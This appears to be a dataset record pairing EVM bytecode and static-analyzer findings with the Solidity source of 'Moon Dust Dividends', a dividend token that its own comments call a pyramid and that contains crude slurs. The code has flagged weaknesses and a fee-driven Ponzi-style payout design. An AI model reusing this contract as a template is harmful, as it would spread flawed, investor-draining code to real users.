3601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117a357600080fd5b6000811180156117f2575080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156117fd57600080fd5b61184f81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a78160055461263f90919063ffffffff16565b6005819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000806000808551118015611915575083518551145b151561192057600080fd5b60009150600090505b8451811015611a15576000848281518110151561194257fe5b9060200190602002015111801561198757506000858281518110151561196457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b151561199257600080fd5b6119c06305f5e10085838151811015156119a857fe5b9060200190602002015161267690919063ffffffff16565b84828151811015156119ce57fe5b9060200190602002018181525050611a0684828151811015156119ed57fe5b906020019060200201518361265890919063ffffffff16565b91508080600101915050611929565b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a6357600080fd5b600090505b8451811015611beb57611af18482815181101515611a8257fe5b90602001906020020151600760008885815181101515611a9e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008784815181101515611b0357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508481815181101515611b5957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8684815181101515611bbf57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611a68565b611c3d82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b60006060600083111515611c9f57600080fd5b611ca8846126b1565b15611cbf57611cb88484836126c4565b9150611ccd565b611cca848483612aa3565b91505b5092915050565b60008083111515611ce457600080fd5b611ced846126b1565b15611d0457611cfd8484846126c4565b9050611d12565b611d0f848484612aa3565b90505b9392505050565b60008060008084118015611d2e575060008551115b1515611d3957600080fd5b611d506305f5e1008561267690919063ffffffff16565b9350611d6685518561267690919063ffffffff16565b915081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611db657600080fd5b600090505b8451811015611f4d5760008582815181101515611dd457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611e0157600080fd5b611e6a84600760008885815181101515611e1757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008784815181101515611e7c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508481815181101515611ed257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050611dbb565b611f9f82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561210d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900460ff1681565b600080841115156121f057600080fd5b6121f9856126b1565b156126295783600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561224c57600080fd5b61229e84600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233384600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156123c557805182526020820191506020810190506020830392506123a0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156124a657808201518184015260208101905061248b565b50505050905090810190601f1680156124d35780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af1935050505015156124f357fe5b826040518082805190602001908083835b6020831015156125295780518252602082019150602081019050602083039250612504565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612637565b612634858585612aa3565b90505b949350505050565b600082821115151561264d57fe5b818303905092915050565b600080828401905083811015151561266c57fe5b8091505092915050565b600080600084141561268b57600091506126aa565b828402905082848281151561269c57fe5b041415156126a657fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561271557600080fd5b61276784600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127fc84600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156129045780820151818401526020810190506128e9565b50505050905090810190601f1680156129315780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561295257600080fd5b505af1158015612966573d6000803e3d6000fd5b50505050826040518082805190602001908083835b6020831015156129a0578051825260208201915060208101905060208303925061297b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612af357600080fd5b612b4583600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bda83600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612c535780518252602082019150602081019050602083039250612c2e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001905093925050505600a165627a7a72305820a142b29efe08407432ead489bbab892d84821290664e924d2dc40d80a997fc370029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 829 |
0xc137f2e6b4a42117725dd3eee8eba4c257d579cf | pragma solidity ^0.4.20;
/*
/ https://www.tiptopuniverse.com
/ https://discord.gg/pXh5qEq
*/
contract MDDV2 {
/*=================================
= MODIFIERS =
=================================*/
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Moon Dust Dividends";
string public symbol = "Moon Dust";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 25;
uint8 constant internal transferFee_ = 11;
uint8 constant internal exitFee_ = 9;
uint8 constant internal refferalFee_ = 20;
uint256 constant internal tokenPriceInitial_ = 0.0075 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000000000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake
uint256 public stakingRequirement = 10e18;
/*=================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
/**
* @dev Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
/**
* @dev Transfer tokens from the caller to a new holder.
* Remember, there's a 15% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
/**
* @dev Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
/**
* @dev Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x6060604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461014f57806310d0ffdd146101d957806318160ddd146101ef5780632260937314610202578063313ce567146102185780633ccfd60b146102415780634b7503341461025657806356d399e814610269578063688abbf71461027c5780636b2f46321461029457806370a08231146102a75780638620410b146102c6578063949e8acd146102d957806395d89b41146102ec578063a9059cbb146102ff578063e4849b3214610335578063e9fad8ee1461034b578063f088d5471461035e578063fdb5a03e14610372575b61011b346000610385565b50005b341561012957600080fd5b61013d600160a060020a03600435166105ed565b60405190815260200160405180910390f35b341561015a57600080fd5b610162610628565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019e578082015183820152602001610186565b50505050905090810190601f1680156101cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e457600080fd5b61013d6004356106c6565b34156101fa57600080fd5b61013d6106f9565b341561020d57600080fd5b61013d6004356106ff565b341561022357600080fd5b61022b61073b565b60405160ff909116815260200160405180910390f35b341561024c57600080fd5b610254610740565b005b341561026157600080fd5b61013d61080c565b341561027457600080fd5b61013d610865565b341561028757600080fd5b61013d600435151561086b565b341561029f57600080fd5b61013d6108ae565b34156102b257600080fd5b61013d600160a060020a03600435166108bc565b34156102d157600080fd5b61013d6108d7565b34156102e457600080fd5b61013d610924565b34156102f757600080fd5b610162610936565b341561030a57600080fd5b610321600160a060020a03600435166024356109a1565b604051901515815260200160405180910390f35b341561034057600080fd5b610254600435610b4c565b341561035657600080fd5b610254610cc8565b61013d600160a060020a0360043516610cff565b341561037d57600080fd5b610254610d0b565b600033818080808080806103a461039d8c6019610dc6565b6064610dfc565b96506103b461039d886014610dc6565b95506103c08787610e13565b94506103cc8b88610e13565b93506103d784610e25565b9250680100000000000000008502915060008311801561040157506006546103ff8482610eae565b115b151561040c57600080fd5b600160a060020a038a1615801590610436575087600160a060020a03168a600160a060020a031614155b801561045c5750600254600160a060020a038b1660009081526003602052604090205410155b156104a257600160a060020a038a166000908152600460205260409020546104849087610eae565b600160a060020a038b166000908152600460205260409020556104bd565b6104ac8587610eae565b945068010000000000000000850291505b60006006541115610521576104d460065484610eae565b60068190556801000000000000000086028115156104ee57fe5b6007805492909104909101905560065468010000000000000000860281151561051357fe5b048302820382039150610527565b60068390555b600160a060020a03881660009081526003602052604090205461054a9084610eae565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105b46108d7565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106be5780601f10610693576101008083540402835291602001916106be565b820191906000526020600020905b8154815290600101906020018083116106a157829003601f168201915b505050505081565b60008080806106d961039d866019610dc6565b92506106e58584610e13565b91506106f082610e25565b95945050505050565b60065490565b600080600080600654851115151561071657600080fd5b61071f85610ebd565b925061072f61039d846009610dc6565b91506106f08383610e13565b601281565b600080600061074f600161086b565b1161075957600080fd5b339150610766600061086b565b600160a060020a0383166000818152600560209081526040808320805468010000000000000000870201905560049091528082208054929055920192509082156108fc0290839051600060405180830381858888f1935050505015156107cb57600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b6000806000806006546000141561082c57661aa535d3d0bfff935061085f565b61083d670de0b6b3a7640000610ebd565b925061084d61039d846009610dc6565b91506108598383610e13565b90508093505b50505090565b60025481565b600033826108815761087c816105ed565b6108a5565b600160a060020a0381166000908152600460205260409020546108a3826105ed565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156108f757661aa535d3d0c001935061085f565b610908670de0b6b3a7640000610ebd565b925061091861039d846019610dc6565b91506108598383610eae565b600033610930816108bc565b91505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106be5780601f10610693576101008083540402835291602001916106be565b6000806000806000806109b2610924565b116109bc57600080fd5b33600160a060020a0381166000908152600360205260409020549094508611156109e557600080fd5b60006109f1600161086b565b11156109ff576109ff610740565b610a0d61039d87600b610dc6565b9250610a198684610e13565b9150610a2483610ebd565b9050610a3260065484610e13565b600655600160a060020a038416600090815260036020526040902054610a589087610e13565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a879083610eae565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610afb9190680100000000000000008402811515610af557fe5b04610eae565b600755600160a060020a038088169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060019695505050505050565b6000806000806000806000610b5f610924565b11610b6957600080fd5b33600160a060020a038116600090815260036020526040902054909650871115610b9257600080fd5b869450610b9e85610ebd565b9350610bae61039d856009610dc6565b9250610bba8484610e13565b9150610bc860065486610e13565b600655600160a060020a038616600090815260036020526040902054610bee9086610e13565b600160a060020a0387166000908152600360209081526040808320939093556007546005909152918120805492880268010000000000000000860201928390039055600654919250901115610c5f57610c5b600754600654680100000000000000008602811515610af557fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d